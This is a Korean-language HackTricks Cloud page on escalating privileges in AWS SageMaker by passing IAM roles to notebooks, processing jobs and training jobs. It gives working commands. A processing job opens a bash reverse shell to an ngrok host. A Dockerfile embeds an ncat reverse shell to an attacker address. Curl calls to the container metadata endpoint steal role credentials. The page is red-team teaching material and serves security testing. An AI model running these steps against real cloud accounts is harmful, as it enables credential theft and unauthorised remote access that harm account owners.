AWS - Sagemaker Privesc

htARTE (HackTricks AWS Red Team Expert)를 통해 AWS 해킹을 처음부터 전문가까지 배워보세요!

HackTricks를 지원하는 다른 방법:

iam:PassRole , sagemaker:CreateNotebookInstance, sagemaker:CreatePresignedNotebookInstanceUrl

IAM 역할이 연결된 노트북을 생성하기 시작하세요:

aws sagemaker create-notebook-instance --notebook-instance-name example \
--instance-type ml.t2.medium \
--role-arn arn:aws:iam::<account-id>:role/service-role/<role-name>

다음은 새로 생성된 노트북 인스턴스의 ARN을 포함하는 NotebookInstanceArn 필드를 포함한 응답이어야 합니다. 그런 다음 create-presigned-notebook-instance-url API를 사용하여 노트북 인스턴스가 준비되면 액세스할 수 있는 URL을 생성할 수 있습니다.

aws sagemaker create-presigned-notebook-instance-url \
--notebook-instance-name <name>

브라우저로 URL에 이동하고 오른쪽 상단에있는 Open JupyterLab을 클릭 한 다음 "Launcher" 탭으로 스크롤하고 "Other" 섹션에서 "Terminal" 버튼을 클릭합니다.

이제 IAM 역할의 메타데이터 자격 증명에 액세스 할 수 있습니다.

잠재적 영향: 지정된 sagemaker 서비스 역할로의 권한 상승.

sagemaker:CreatePresignedNotebookInstanceUrl

이미 Jupyter 노트북이 실행 중인 경우 sagemaker:ListNotebookInstances로 목록을 볼 수 있으며 (또는 다른 방법으로 발견 할 수 있음) 이전 기술에서 나타낸대로 URL을 생성하여 액세스하고 자격 증명을 도용 할 수 있습니다.

aws sagemaker create-presigned-notebook-instance-url --notebook-instance-name <name>

잠재적 영향: 연결된 sagemaker 서비스 역할에 대한 권한 상승

sagemaker:CreateProcessingJob,iam:PassRole

해당 권한을 가진 공격자는 sagemaker가 sagemaker 역할이 연결된 처리 작업을 실행하도록 할 수 있습니다. 공격자는 AWS 관리 ECS 계정 인스턴스에서 실행될 컨테이너의 정의를 지정하고, 연결된 IAM 역할의 자격 증명을 탈취할 수 있습니다.

# I uploaded a python docker image to the ECR
aws sagemaker create-processing-job \
--processing-job-name privescjob \
--processing-resources '{"ClusterConfig": {"InstanceCount": 1,"InstanceType": "ml.t3.medium","VolumeSizeInGB": 50}}' \
--app-specification "{\"ImageUri\":\"<id>.dkr.ecr.eu-west-1.amazonaws.com/python\",\"ContainerEntrypoint\":[\"sh\", \"-c\"],\"ContainerArguments\":[\"/bin/bash -c \\\"bash -i >& /dev/tcp/5.tcp.eu.ngrok.io/14920 0>&1\\\"\"]}" \
--role-arn <sagemaker-arn-role>

# In my tests it took 10min to receive the shell
curl "http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI" #To get the creds

잠재적 영향: 지정된 sagemaker 서비스 역할에 대한 권한 상승

sagemaker:CreateTrainingJob, iam:PassRole

이러한 권한을 가진 공격자는 훈련 작업을 생성할 수 있으며, 그 작업에 연결된 역할을 가진 임의의 컨테이너를 실행할 수 있습니다. 따라서, 공격자는 역할의 자격 증명을 도용할 수 있습니다.

이 시나리오는 이전 시나리오보다 공격이 어렵습니다. 왜냐하면 훈련 작업의 구성에서 시작 명령을 지정할 수 없기 때문에, 공격자는 리버스 쉘이나 자격 증명을 직접 공격자에게 전송하는 도커 이미지를 생성해야 합니다.

# Create docker image
mkdir /tmp/rev
## Note that the trainning job is going to call an executable called "train"
## That's why I'm putting the rev shell in /bin/train
## Set the values of <YOUR-IP-OR-DOMAIN> and <YOUR-PORT>
cat > /tmp/rev/Dockerfile <<EOF
FROM ubuntu
RUN apt update && apt install -y ncat curl
RUN printf '#!/bin/bash\nncat <YOUR-IP-OR-DOMAIN> <YOUR-PORT> -e /bin/sh' > /bin/train
RUN chmod +x /bin/train
CMD ncat <YOUR-IP-OR-DOMAIN> <YOUR-PORT> -e /bin/sh
EOF

cd /tmp/rev
sudo docker build . -t reverseshell

# Upload it to ECR
sudo docker login -u AWS -p $(aws ecr get-login-password --region <region>) <id>.dkr.ecr.<region>.amazonaws.com/<repo>
sudo docker tag reverseshell:latest <account_id>.dkr.ecr.<region>.amazonaws.com/reverseshell:latest
sudo docker push <account_id>.dkr.ecr.<region>.amazonaws.com/reverseshell:latest

```bash # Create trainning job with the docker image created aws sagemaker create-training-job \ --training-job-name privescjob \ --resource-config '{"InstanceCount": 1,"InstanceType": "ml.m4.4xlarge","VolumeSizeInGB": 50}' \ --algorithm-specification '{"TrainingImage":".dkr.ecr..amazonaws.com/reverseshell", "TrainingInputMode": "Pipe"}' \ --role-arn \ --output-data-config '{"S3OutputPath": "s3://"}' \ --stopping-condition '{"MaxRuntimeInSeconds": 600}'

#To get the creds curl "http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI"

Creds env var value example:/v2/credentials/proxy-f00b92a68b7de043f800bd0cca4d3f84517a19c52b3dd1a54a37c1eca040af38-customer

**잠재적 영향:** 지정된 Sagemaker 서비스 역할에 대한 권한 상승

## `sagemaker:CreateHyperParameterTuningJob`, `iam:PassRole`

이러한 권한을 가진 공격자는 (잠재적으로) **하이퍼파라미터 튜닝 작업**을 생성하고, 그 위에서 **임의의 컨테이너를 실행**하며, 그에 **연결된 역할**을 사용할 수 있습니다.\
_시간 부족으로 인해 이를 악용하지는 않았지만, 이전의 취약점과 유사해 보입니다. 악용 세부 정보를 보내주시면 PR을 보내주시기 바랍니다._

# 참고 자료
* [https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation-part-2/](https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation-part-2/)

<details>

<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 AWS 해킹을 처음부터 전문가까지 배워보세요<strong>!</strong></summary>

HackTricks를 지원하는 다른 방법:

* HackTricks에서 **회사 광고를 보거나 HackTricks를 PDF로 다운로드**하려면 [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인하세요!
* [**공식 PEASS & HackTricks 상품**](https://peass.creator-spring.com)을 구매하세요.
* 독점적인 [**NFT**](https://opensea.io/collection/the-peass-family) 컬렉션인 [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요.
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)를 **팔로우**하세요.
* **HackTricks**와 **HackTricks Cloud** github 저장소에 PR을 제출하여 여러분의 해킹 기법을 공유하세요.

</details>

最終更新